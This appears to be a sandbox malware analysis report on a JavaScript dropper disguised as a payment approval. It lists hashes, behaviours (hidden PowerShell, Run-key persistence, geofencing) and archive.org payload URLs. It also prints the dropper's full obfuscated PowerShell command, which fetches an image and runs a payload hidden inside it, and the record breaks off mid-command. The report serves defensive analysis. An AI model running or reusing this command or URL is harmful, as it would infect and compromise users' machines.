Overview

overview

10

Static

static

1

27256APPRO...764.js

windows7-x64

10

27256APPRO...764.js

windows10-2004-x64

10

Analysis

  • max time kernel
    131s
  • max time network
    116s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18/08/2024, 11:54

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    27256APPROVEDACHpmt187023OI2783764.js

  • Size

    674KB

  • MD5

    093443df3ed07e88bd040e994ad5abda

  • SHA1

    0b5c84cca541adc1c68cceb7ba5d1887df7603a4

  • SHA256

    5670c18d10201f544296e4cf42c05f8e4c4c150dc4f82466f92359bfacc7f53a

  • SHA512

    b6865b8c36c03b0ae9ab98279e8a40ca994faef010456f6a704626864d61db29b29b0bea4823fe15bab3799ddeca5ec5b4a33d3ce7152ad540dc9274e6253549

  • SSDEEP

    12288:Nxazi8wH8bDCeEdM8btYyRPDUuprkCd3Vz/LNFhpIQnz3By4H/unqFNZ3kX7VQ7f:xpfrPZZZgQD+XKAC

Score
10/10
executionpersistence

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg
exe.dropper

https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\27256APPROVEDACHpmt187023OI2783764.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⽦ ◇ ⤸ ⦺ ⥖Bp⽦ ◇ ⤸ ⦺ ⥖G0⽦ ◇ ⤸ ⦺ ⥖YQBn⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖VQBy⽦ ◇ ⤸ ⦺ ⥖Gw⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖9⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖JwBo⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bw⽦ ◇ ⤸ ⦺ ⥖HM⽦ ◇ ⤸ ⦺ ⥖Og⽦ ◇ ⤸ ⦺ ⥖v⽦ ◇ ⤸ ⦺ ⥖C8⽦ ◇ ⤸ ⦺ ⥖aQBh⽦ ◇ ⤸ ⦺ ⥖DY⽦ ◇ ⤸ ⦺ ⥖M⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖x⽦ ◇ ⤸ ⦺ ⥖DY⽦ ◇ ⤸ ⦺ ⥖M⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖dQBz⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖YQBy⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖a⽦ ◇ ⤸ ⦺ ⥖Bp⽦ ◇ ⤸ ⦺ ⥖HY⽦ ◇ ⤸ ⦺ ⥖ZQ⽦ ◇ ⤸ ⦺ ⥖u⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖cgBn⽦ ◇ ⤸ ⦺ ⥖C8⽦ ◇ ⤸ ⦺ ⥖MQ⽦ ◇ ⤸ ⦺ ⥖w⽦ ◇ ⤸ ⦺ ⥖C8⽦ ◇ ⤸ ⦺ ⥖aQB0⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖bQBz⽦ ◇ ⤸ ⦺ ⥖C8⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bo⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖bwB0⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖Xw⽦ ◇ ⤸ ⦺ ⥖y⽦ ◇ ⤸ ⦺ ⥖D⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖Mg⽦ ◇ ⤸ ⦺ ⥖0⽦ ◇ ⤸ ⦺ ⥖D⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖Nw⽦ ◇ ⤸ ⦺ ⥖v⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖ZQBh⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖a⽦ ◇ ⤸ ⦺ ⥖Bu⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖agBw⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖Jw⽦ ◇ ⤸ ⦺ ⥖7⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖dwBl⽦ ◇ ⤸ ⦺ ⥖GI⽦ ◇ ⤸ ⦺ ⥖QwBs⽦ ◇ ⤸ ⦺ ⥖Gk⽦ ◇ ⤸ ⦺ ⥖ZQBu⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖9⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖TgBl⽦ ◇ ⤸ ⦺ ⥖Hc⽦ ◇ ⤸ ⦺ ⥖LQBP⽦ ◇ ⤸ ⦺ ⥖GI⽦ ◇ ⤸ ⦺ ⥖agBl⽦ ◇ ⤸ ⦺ ⥖GM⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖FM⽦ ◇ ⤸ ⦺ ⥖eQBz⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖ZQBt⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖TgBl⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖LgBX⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖YgBD⽦ ◇ ⤸ ⦺ ⥖Gw⽦ ◇ ⤸ ⦺ ⥖aQBl⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖7⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖aQBt⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖ZwBl⽦ ◇ ⤸ ⦺ ⥖EI⽦ ◇ ⤸ ⦺ ⥖eQB0⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖cw⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖D0⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖k⽦ ◇ ⤸ ⦺ ⥖Hc⽦ ◇ ⤸ ⦺ ⥖ZQBi⽦ ◇ ⤸ ⦺ ⥖EM⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖Bp⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖bgB0⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖R⽦ ◇ ⤸ ⦺ ⥖Bv⽦ ◇ ⤸ ⦺ ⥖Hc⽦ ◇ ⤸ ⦺ ⥖bgBs⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖YQBk⽦ ◇ ⤸ ⦺ ⥖EQ⽦ ◇ ⤸ ⦺ ⥖YQB0⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖K⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖k⽦ ◇ ⤸ ⦺ ⥖Gk⽦ ◇ ⤸ ⦺ ⥖bQBh⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖ZQBV⽦ ◇ ⤸ ⦺ ⥖HI⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖p⽦ ◇ ⤸ ⦺ ⥖Ds⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bp⽦ ◇ ⤸ ⦺ ⥖G0⽦ ◇ ⤸ ⦺ ⥖YQBn⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖V⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖Hg⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖D0⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖Bb⽦ ◇ ⤸ ⦺ ⥖FM⽦ ◇ ⤸ ⦺ ⥖eQBz⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖ZQBt⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖V⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖Hg⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖u⽦ ◇ ⤸ ⦺ ⥖EU⽦ ◇ ⤸ ⦺ ⥖bgBj⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bp⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖ZwBd⽦ ◇ ⤸ ⦺ ⥖Do⽦ ◇ ⤸ ⦺ ⥖OgBV⽦ ◇ ⤸ ⦺ ⥖FQ⽦ ◇ ⤸ ⦺ ⥖Rg⽦ ◇ ⤸ ⦺ ⥖4⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖RwBl⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖UwB0⽦ ◇ ⤸ ⦺ ⥖HI⽦ ◇ ⤸ ⦺ ⥖aQBu⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖K⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖k⽦ ◇ ⤸ ⦺ ⥖Gk⽦ ◇ ⤸ ⦺ ⥖bQBh⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖ZQBC⽦ ◇ ⤸ ⦺ ⥖Hk⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖HM⽦ ◇ ⤸ ⦺ ⥖KQ⽦ ◇ ⤸ ⦺ ⥖7⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖cwB0⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cgB0⽦ ◇ ⤸ ⦺ ⥖EY⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖Bh⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖9⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖Jw⽦ ◇ ⤸ ⦺ ⥖8⽦ ◇ ⤸ ⦺ ⥖Dw⽦ ◇ ⤸ ⦺ ⥖QgBB⽦ ◇ ⤸ ⦺ ⥖FM⽦ ◇ ⤸ ⦺ ⥖RQ⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖DQ⽦ ◇ ⤸ ⦺ ⥖XwBT⽦ ◇ ⤸ ⦺ ⥖FQ⽦ ◇ ⤸ ⦺ ⥖QQBS⽦ ◇ ⤸ ⦺ ⥖FQ⽦ ◇ ⤸ ⦺ ⥖Pg⽦ ◇ ⤸ ⦺ ⥖+⽦ ◇ ⤸ ⦺ ⥖Cc⽦ ◇ ⤸ ⦺ ⥖Ow⽦ ◇ ⤸ ⦺ ⥖k⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖EY⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖Bh⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖9⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖Jw⽦ ◇ ⤸ ⦺ ⥖8⽦ ◇ ⤸ ⦺ ⥖Dw⽦ ◇ ⤸ ⦺ ⥖QgBB⽦ ◇ ⤸ ⦺ ⥖FM⽦ ◇ ⤸ ⦺ ⥖RQ⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖DQ⽦ ◇ ⤸ ⦺ ⥖XwBF⽦ ◇ ⤸ ⦺ ⥖E4⽦ ◇ ⤸ ⦺ ⥖R⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖+⽦ ◇ ⤸ ⦺ ⥖D4⽦ ◇ ⤸ ⦺ ⥖Jw⽦ ◇ ⤸ ⦺ ⥖7⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖cwB0⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cgB0⽦ ◇ ⤸ ⦺ ⥖Ek⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖e⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖D0⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖k⽦ ◇ ⤸ ⦺ ⥖Gk⽦ ◇ ⤸ ⦺ ⥖bQBh⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖ZQBU⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖e⽦ ◇ ⤸ ⦺ ⥖B0⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖SQBu⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖ZQB4⽦ ◇ ⤸ ⦺ ⥖E8⽦ ◇ ⤸ ⦺ ⥖Zg⽦ ◇ ⤸ ⦺ ⥖o⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖cwB0⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cgB0⽦ ◇ ⤸ ⦺ ⥖EY⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖Bh⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖KQ⽦ ◇ ⤸ ⦺ ⥖7⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖ZQBu⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖SQBu⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖ZQB4⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖PQ⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖aQBt⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖ZwBl⽦ ◇ ⤸ ⦺ ⥖FQ⽦ ◇ ⤸ ⦺ ⥖ZQB4⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖LgBJ⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖Hg⽦ ◇ ⤸ ⦺ ⥖TwBm⽦ ◇ ⤸ ⦺ ⥖Cg⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖BG⽦ ◇ ⤸ ⦺ ⥖Gw⽦ ◇ ⤸ ⦺ ⥖YQBn⽦ ◇ ⤸ ⦺ ⥖Ck⽦ ◇ ⤸ ⦺ ⥖Ow⽦ ◇ ⤸ ⦺ ⥖k⽦ ◇ ⤸ ⦺ ⥖HM⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bh⽦ ◇ ⤸ ⦺ ⥖HI⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖BJ⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖Hg⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖t⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖ZQ⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖D⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖t⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖BJ⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖Hg⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖t⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖cwB0⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cgB0⽦ ◇ ⤸ ⦺ ⥖Ek⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖e⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖7⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖cwB0⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cgB0⽦ ◇ ⤸ ⦺ ⥖Ek⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖e⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖Cs⽦ ◇ ⤸ ⦺ ⥖PQ⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖cwB0⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cgB0⽦ ◇ ⤸ ⦺ ⥖EY⽦ ◇ ⤸ ⦺ ⥖b⽦ ◇ ⤸ ⦺ ⥖Bh⽦ ◇ ⤸ ⦺ ⥖Gc⽦ ◇ ⤸ ⦺ ⥖LgBM⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖bgBn⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖a⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖7⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖YgBh⽦ ◇ ⤸ ⦺ ⥖HM⽦ ◇ ⤸ ⦺ ⥖ZQ⽦ ◇ ⤸ ⦺ ⥖2⽦ ◇ ⤸ ⦺ ⥖DQ⽦ ◇ ⤸ ⦺ ⥖T⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖ZwB0⽦ ◇ ⤸ ⦺ ⥖Gg⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖9⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖BJ⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖Z⽦ ◇ ⤸ ⦺ ⥖Bl⽦ ◇ ⤸ ⦺ ⥖Hg⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖t⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bz⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖YQBy⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖SQBu⽦ ◇ ⤸ ⦺ ⥖GQ⽦ ◇ ⤸ ⦺ ⥖ZQB4⽦ ◇ ⤸ ⦺ ⥖Ds⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bi⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cwBl⽦ ◇ ⤸ ⦺ ⥖DY⽦ ◇ ⤸ ⦺ ⥖N⽦ ◇ ⤸ ⦺ ⥖BD⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖bQBt⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖PQ⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖aQBt⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖ZwBl⽦ ◇ ⤸ ⦺ ⥖FQ⽦ ◇ ⤸ ⦺ ⥖ZQB4⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖LgBT⽦ ◇ ⤸ ⦺ ⥖HU⽦ ◇ ⤸ ⦺ ⥖YgBz⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖cgBp⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖Zw⽦ ◇ ⤸ ⦺ ⥖o⽦ ◇ ⤸ ⦺ ⥖CQ⽦ ◇ ⤸ ⦺ ⥖cwB0⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cgB0⽦ ◇ ⤸ ⦺ ⥖Ek⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖e⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖s⽦ ◇ ⤸ ⦺ ⥖C⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bi⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cwBl⽦ ◇ ⤸ ⦺ ⥖DY⽦ ◇ ⤸ ⦺ ⥖N⽦ ◇ ⤸ ⦺ ⥖BM⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖bgBn⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖a⽦ ◇ ⤸ ⦺ ⥖⽦ ◇ ⤸ ⦺ ⥖p⽦ ◇ ⤸ ⦺ ⥖Ds⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bj⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖bQBt⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖bgBk⽦ ◇ ⤸ ⦺ ⥖EI⽦ ◇ ⤸ ⦺ ⥖eQB0⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖cw⽦ ◇ ⤸ ⦺ ⥖g⽦ ◇ ⤸ ⦺ ⥖D0⽦ ◇ ⤸ ⦺ ⥖I⽦ ◇ ⤸ ⦺ ⥖Bb⽦ ◇ ⤸ ⦺ ⥖FM⽦ ◇ ⤸ ⦺ ⥖eQBz⽦ ◇ ⤸ ⦺ ⥖HQ⽦ ◇ ⤸ ⦺ ⥖ZQBt⽦ ◇ ⤸ ⦺ ⥖C4⽦ ◇ ⤸ ⦺ ⥖QwBv⽦ ◇ ⤸ ⦺ ⥖G4⽦ ◇ ⤸ ⦺ ⥖dgBl⽦ ◇ ⤸ ⦺ ⥖HI⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖Bd⽦ ◇ ⤸ ⦺ ⥖Do⽦ ◇ ⤸ ⦺ ⥖OgBG⽦ ◇ ⤸ ⦺ ⥖HI⽦ ◇ ⤸ ⦺ ⥖bwBt⽦ ◇ ⤸ ⦺ ⥖EI⽦ ◇ ⤸ ⦺ ⥖YQBz⽦ ◇ ⤸ ⦺ ⥖GU⽦ ◇ ⤸ ⦺ ⥖Ng⽦ ◇ ⤸ ⦺ ⥖0⽦ ◇ ⤸ ⦺ ⥖FM⽦ ◇ ⤸ ⦺ ⥖d⽦ ◇ ⤸ ⦺ ⥖By⽦ ◇ ⤸ ⦺ ⥖Gk⽦ ◇ ⤸ ⦺ ⥖bgBn⽦ ◇ ⤸ ⦺ ⥖Cg⽦ ◇ ⤸ ⦺ ⥖J⽦ ◇ ⤸ ⦺ ⥖Bi⽦ ◇ ⤸ ⦺ ⥖GE⽦ ◇ ⤸ ⦺ ⥖cwBl⽦ ◇ ⤸ ⦺ ⥖DY⽦ ◇ ⤸ ⦺ ⥖N⽦ ◇ ⤸ ⦺ ⥖BD⽦ ◇ ⤸ ⦺ ⥖G8⽦ ◇ ⤸ ⦺ ⥖bQBt⽦ 